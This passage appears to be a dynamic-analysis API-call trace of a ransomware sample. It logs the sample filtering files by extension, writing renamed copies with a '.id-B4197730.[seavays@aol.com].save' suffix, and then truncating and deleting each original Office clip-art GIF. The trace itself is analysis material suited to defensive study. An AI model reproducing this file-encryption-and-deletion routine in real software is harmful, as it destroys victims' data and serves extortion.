(lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.932] lstrlenW (lpString=".doc") returned 4 [0061.932] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.932] lstrlenW (lpString=".docx") returned 5 [0061.932] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.932] lstrlenW (lpString=".pdf") returned 4 [0061.932] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.932] lstrlenW (lpString=".xls") returned 4 [0061.932] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.932] lstrlenW (lpString=".xlsx") returned 5 [0061.932] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.932] lstrlenW (lpString=".ppt") returned 4 [0061.932] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.932] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.932] lstrlenW (lpString=".zip") returned 4 [0061.933] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.933] lstrlenW (lpString=".rar") returned 4 [0061.933] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.933] lstrlenW (lpString=".bz2") returned 4 [0061.933] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.933] lstrlenW (lpString=".7z") returned 3 [0061.933] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.933] lstrlenW (lpString=".dbf") returned 4 [0061.933] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.933] lstrlenW (lpString=".1cd") returned 4 [0061.933] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.933] lstrlenW (lpString=".jpg") returned 4 [0061.933] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.933] lstrlenW (lpString=".doc") returned 4 [0061.933] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0061.933] lstrlenW (lpString=".docx") returned 5 [0061.933] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0061.933] lstrlenW (lpString=".pdf") returned 4 [0061.933] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0061.933] lstrlenW (lpString=".xls") returned 4 [0061.933] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0061.933] lstrlenW (lpString=".xlsx") returned 5 [0061.933] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0061.933] lstrlenW (lpString=".ppt") returned 4 [0061.933] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0061.933] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.933] lstrlenW (lpString=".zip") returned 4 [0061.934] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0061.934] lstrlenW (lpString=".rar") returned 4 [0061.934] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0061.934] lstrlenW (lpString=".bz2") returned 4 [0061.934] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0061.934] lstrlenW (lpString=".7z") returned 3 [0061.934] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0061.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.934] lstrlenW (lpString=".dbf") returned 4 [0061.934] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0061.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.934] lstrlenW (lpString=".1cd") returned 4 [0061.934] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0061.934] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00139_.GIF") returned 68 [0061.934] lstrlenW (lpString=".jpg") returned 4 [0061.934] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0061.934] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0061.934] lstrlenW (lpString="AG00142_.GIF") returned 12 [0061.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.352] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=15308) returned 1 [0062.352] CloseHandle (hObject=0x2ec) returned 1 [0062.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 0x220 [0062.352] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.352] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.352] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.352] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.353] GetLastError () returned 0x0 [0062.353] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x3bcc, lpOverlapped=0x0) returned 1 [0062.354] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x3bd0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x3bd0, lpOverlapped=0x0) returned 1 [0062.356] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.356] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.356] SetEndOfFile (hFile=0x38c) returned 1 [0062.356] CloseHandle (hObject=0x38c) returned 1 [0062.357] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.357] SetEndOfFile (hFile=0x2ec) returned 1 [0062.358] CloseHandle (hObject=0x2ec) returned 1 [0062.358] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.358] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00142_.gif")) returned 1 [0062.358] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.359] lstrlenW (lpString=".doc") returned 4 [0062.359] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.359] lstrlenW (lpString=".docx") returned 5 [0062.359] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.359] lstrlenW (lpString=".pdf") returned 4 [0062.359] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.359] lstrlenW (lpString=".xls") returned 4 [0062.359] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.359] lstrlenW (lpString=".xlsx") returned 5 [0062.359] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.360] lstrlenW (lpString=".ppt") returned 4 [0062.360] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.360] lstrlenW (lpString=".zip") returned 4 [0062.360] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.360] lstrlenW (lpString=".rar") returned 4 [0062.360] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.360] lstrlenW (lpString=".bz2") returned 4 [0062.360] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.360] lstrlenW (lpString=".7z") returned 3 [0062.360] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.360] lstrlenW (lpString=".dbf") returned 4 [0062.360] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.360] lstrlenW (lpString=".1cd") returned 4 [0062.360] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.360] lstrlenW (lpString=".jpg") returned 4 [0062.360] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.360] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.360] lstrlenW (lpString=".doc") returned 4 [0062.360] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.360] lstrlenW (lpString=".docx") returned 5 [0062.360] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.360] lstrlenW (lpString=".pdf") returned 4 [0062.360] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.360] lstrlenW (lpString=".xls") returned 4 [0062.360] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.360] lstrlenW (lpString=".xlsx") returned 5 [0062.360] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.360] lstrlenW (lpString=".ppt") returned 4 [0062.361] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.361] lstrlenW (lpString=".zip") returned 4 [0062.361] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.361] lstrlenW (lpString=".rar") returned 4 [0062.361] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.361] lstrlenW (lpString=".bz2") returned 4 [0062.361] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.361] lstrlenW (lpString=".7z") returned 3 [0062.361] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.361] lstrlenW (lpString=".dbf") returned 4 [0062.361] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.361] lstrlenW (lpString=".1cd") returned 4 [0062.361] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.361] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00142_.GIF") returned 68 [0062.361] lstrlenW (lpString=".jpg") returned 4 [0062.361] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.361] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.361] lstrlenW (lpString="AG00163_.GIF") returned 12 [0062.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.362] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=6984) returned 1 [0062.362] CloseHandle (hObject=0x2ec) returned 1 [0062.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 0x220 [0062.362] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.362] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.362] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.363] GetLastError () returned 0x0 [0062.363] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1b48, lpOverlapped=0x0) returned 1 [0062.364] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x1b50, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x1b50, lpOverlapped=0x0) returned 1 [0062.365] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.365] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.365] SetEndOfFile (hFile=0x38c) returned 1 [0062.365] CloseHandle (hObject=0x38c) returned 1 [0062.366] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.366] SetEndOfFile (hFile=0x2ec) returned 1 [0062.367] CloseHandle (hObject=0x2ec) returned 1 [0062.367] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.367] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00163_.gif")) returned 1 [0062.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.368] lstrlenW (lpString=".doc") returned 4 [0062.368] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.368] lstrlenW (lpString=".docx") returned 5 [0062.368] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.368] lstrlenW (lpString=".pdf") returned 4 [0062.368] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.368] lstrlenW (lpString=".xls") returned 4 [0062.368] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.368] lstrlenW (lpString=".xlsx") returned 5 [0062.368] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.368] lstrlenW (lpString=".ppt") returned 4 [0062.368] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.368] lstrlenW (lpString=".zip") returned 4 [0062.368] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.368] lstrlenW (lpString=".rar") returned 4 [0062.368] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.368] lstrlenW (lpString=".bz2") returned 4 [0062.368] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.368] lstrlenW (lpString=".7z") returned 3 [0062.368] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.368] lstrlenW (lpString=".dbf") returned 4 [0062.368] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.368] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.368] lstrlenW (lpString=".1cd") returned 4 [0062.368] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.369] lstrlenW (lpString=".jpg") returned 4 [0062.369] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.369] lstrlenW (lpString=".doc") returned 4 [0062.369] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.369] lstrlenW (lpString=".docx") returned 5 [0062.369] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.369] lstrlenW (lpString=".pdf") returned 4 [0062.369] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0062.369] lstrlenW (lpString=".xls") returned 4 [0062.369] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0062.369] lstrlenW (lpString=".xlsx") returned 5 [0062.369] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0062.369] lstrlenW (lpString=".ppt") returned 4 [0062.369] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0062.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.369] lstrlenW (lpString=".zip") returned 4 [0062.369] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0062.369] lstrlenW (lpString=".rar") returned 4 [0062.369] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0062.369] lstrlenW (lpString=".bz2") returned 4 [0062.369] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0062.369] lstrlenW (lpString=".7z") returned 3 [0062.369] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0062.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.369] lstrlenW (lpString=".dbf") returned 4 [0062.369] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0062.369] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.369] lstrlenW (lpString=".1cd") returned 4 [0062.370] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0062.370] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00163_.GIF") returned 68 [0062.370] lstrlenW (lpString=".jpg") returned 4 [0062.370] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0062.370] lstrcmpiW (lpString1=".GIF", lpString2=".save") returned -1 [0062.370] lstrlenW (lpString="AG00164_.GIF") returned 12 [0062.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.370] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x33cff14 | out: lpFileSize=0x33cff14*=13254) returned 1 [0062.370] CloseHandle (hObject=0x2ec) returned 1 [0062.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 0x220 [0062.370] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0062.370] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0062.370] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.371] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.371] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0062.371] GetLastError () returned 0x0 [0062.371] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x33c6, lpOverlapped=0x0) returned 1 [0062.372] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x33d0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x33d0, lpOverlapped=0x0) returned 1 [0062.374] ReadFile (in: hFile=0x2ec, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0062.374] WriteFile (in: hFile=0x38c, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0062.374] SetEndOfFile (hFile=0x38c) returned 1 [0062.374] CloseHandle (hObject=0x38c) returned 1 [0062.375] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0062.375] SetEndOfFile (hFile=0x2ec) returned 1 [0062.376] CloseHandle (hObject=0x2ec) returned 1 [0062.376] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0062.376] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00164_.gif")) returned 1 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.377] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00164_.GIF") returned 68 [0062.377] lstrlenW (lpString=".doc") returned 4 [0062.377] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0062.377] lstrlenW (lpString=".docx") returned 5 [0062.377] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0062.377] lstrlenW 